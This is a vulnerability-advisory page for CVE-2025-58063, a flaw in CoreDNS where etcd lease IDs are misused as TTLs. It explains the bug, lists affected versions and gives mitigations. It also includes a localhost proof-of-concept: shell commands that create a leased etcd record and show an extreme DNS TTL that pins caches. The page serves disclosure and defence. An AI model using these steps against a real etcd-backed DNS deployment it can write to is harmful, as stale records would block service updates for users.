CVE-2025-58063 is a high-severity (CVSS 7.1) CWE-681 vulnerability in github.com/coredns/coredns. A fix is available for github.com/coredns/coredns — see the affected versions and patch details below.
CoreDNS: DNS Cache Pinning via etcd Lease ID Confusion
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-58063.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/coredns/corednsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The CoreDNS etcd plugin contains a TTL confusion vulnerability where lease IDs are incorrectly used as TTL values, enabling cache pinning for very long periods. This can effectively cause a denial of service for DNS updates/changes to affected services.
Details
In plugin/etcd/etcd.go, the TTL() function casts the 64-bit etcd lease ID to a uint32 and uses it as the TTL:
func (e *Etcd) TTL(kv *mvccpb.KeyValue, serv *msg.Service) uint32 {
etcdTTL := uint32(kv.Lease) // BUG: Lease ID != TTL duration
// ... rest of function uses etcdTTL as actual TTL
}
Lease IDs are identifiers, not durations. Large lease IDs can produce very large TTLs after truncation, causing downstream resolvers and clients to cache answers for years.
This enables cache pinning attacks, such as:
- Attacker has etcd write access (compromised service account, misconfigured RBAC/TLS, exposed etcd, insider).
- Attacker writes/updates a key and attaches any lease (the actual lease duration is irrelevant; the ID is misused).
- CoreDNS serves the record with an extreme TTL; downstream resolvers/clients cache it for a very long time.
- Even after fixing/deleting the key (or restarting CoreDNS), clients continue to use the cached answer until their caches expire or enforce their own TTL caps.
Some resolvers implement TTL caps, but values and defaults vary widely and are not guaranteed.
PoC
- Launch etcd:
etcd \
--data-dir ./etcd-data \
--listen-client-urls http://127.0.0.1:2379 \
--advertise-client-urls http://127.0.0.1:2379 \
--listen-peer-urls http://127.0.0.1:2380 \
--initial-advertise-peer-urls http://127.0.0.1:2380 \
--initial-cluster default=http://127.0.0.1:2380 \
--name default \
--initial-cluster-token etcd-ttl-poc \
--initial-cluster-state new &
- Prepare CoreDNS configuration:
cat > Corefile << 'EOF'
skydns.local {
etcd {
path /skydns
endpoint http://localhost:2379
debug
}
log
errors
}
EOF
- Launch CoreDNS:
coredns -conf Corefile -dns.port=1053
- Create an etcd record called
large-lease-servicewith a lease grant of 1 hour:
LEASE_ID=$(etcdctl --endpoints=http://127.0.0.1:2379 lease grant 3600 | awk '{print $2}')
etcdctl --endpoints=http://127.0.0.1:2379 put /skydns/local/skydns/large-lease-service '{
"host": "192.168.1.101",
"port": 8080
}' --lease=$LEASE_ID
- Verify the lease details:
$ etcdctl lease timetolive $LEASE_ID
lease 7c4a98dd35b75c23 granted with TTL(3600s), remaining(3252s)
- Query the DNS record and observe the record TTL at 28 years:
$ dig +noall +answer @127.0.0.1 -p 1053 large-lease-service.skydns.local A
large-lease-service.skydns.local. 901209123 IN A 192.168.1.101
Impact
Affects any CoreDNS deployment using the etcd plugin for service discovery.
- Availability: High as service changes (IP rotations, failovers, rollbacks) may be ignored for extended periods by caches.
- Integrity: Low as stale/incorrect answers persist abnormally long. (Note: attacker with etcd write could already point to malicious endpoints; the bug magnifies persistence.)
- Confidentiality: None.
The bug was introduced in #1702 as part of the CoreDNS v1.2.0 release.
Mitigation
The TTL function should utilise etcd's Lease API to determine the proper TTL for leased records. Add configurable limits for minimum and maximum TTL when passing lease records, to clamp potentially extreme TTL values set as lease grant.
Credit
Thanks to @thevilledev for disclovering this vulnerability and contributing a fix.
For more information
Please consult our security guide for more information regarding our security process.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/coredns/coredns | ≥ 1.2.0&&< 1.12.4 | 1.12.4go get github.com/coredns/coredns@v1.12.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/coredns/coredns, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/coredns/coredns to 1.12.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-58063 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.Source: Red Hat security advisory for CVE-2025-58063 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2025-58063 in your dependencies?
Find it across Go, including transitive dependencies.